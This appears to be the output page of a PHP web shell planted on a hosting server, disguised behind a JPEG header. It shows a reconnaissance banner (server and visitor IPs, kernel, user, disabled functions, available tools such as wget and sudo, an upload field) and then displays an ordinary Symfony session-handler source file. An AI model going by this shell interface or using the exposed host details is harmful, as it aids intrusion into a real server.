ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.191.128.135 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/hrupgrade/vendor/symfony/http-foundation/Session/Storage/Handler/ |
Upload File : |
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Handler; use Symfony\Component\Cache\Marshaller\MarshallerInterface; /** * @author Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com> */ class MarshallingSessionHandler implements \SessionHandlerInterface, \SessionUpdateTimestampHandlerInterface { private $handler; private $marshaller; public function __construct(AbstractSessionHandler $handler, MarshallerInterface $marshaller) { $this->handler = $handler; $this->marshaller = $marshaller; } /** * @return bool */ public function open($savePath, $name) { return $this->handler->open($savePath, $name); } /** * @return bool */ public function close() { return $this->handler->close(); } /** * @return bool */ public function destroy($sessionId) { return $this->handler->destroy($sessionId); } /** * @return bool */ public function gc($maxlifetime) { return $this->handler->gc($maxlifetime); } /** * @return string */ public function read($sessionId) { return $this->marshaller->unmarshall($this->handler->read($sessionId)); } /** * @return bool */ public function write($sessionId, $data) { $failed = []; $marshalledData = $this->marshaller->marshall(['data' => $data], $failed); if (isset($failed['data'])) { return false; } return $this->handler->write($sessionId, $marshalledData['data']); } /** * @return bool */ public function validateId($sessionId) { return $this->handler->validateId($sessionId); } /** * @return bool */ public function updateTimestamp($sessionId, $data) { return $this->handler->updateTimestamp($sessionId, $data); } }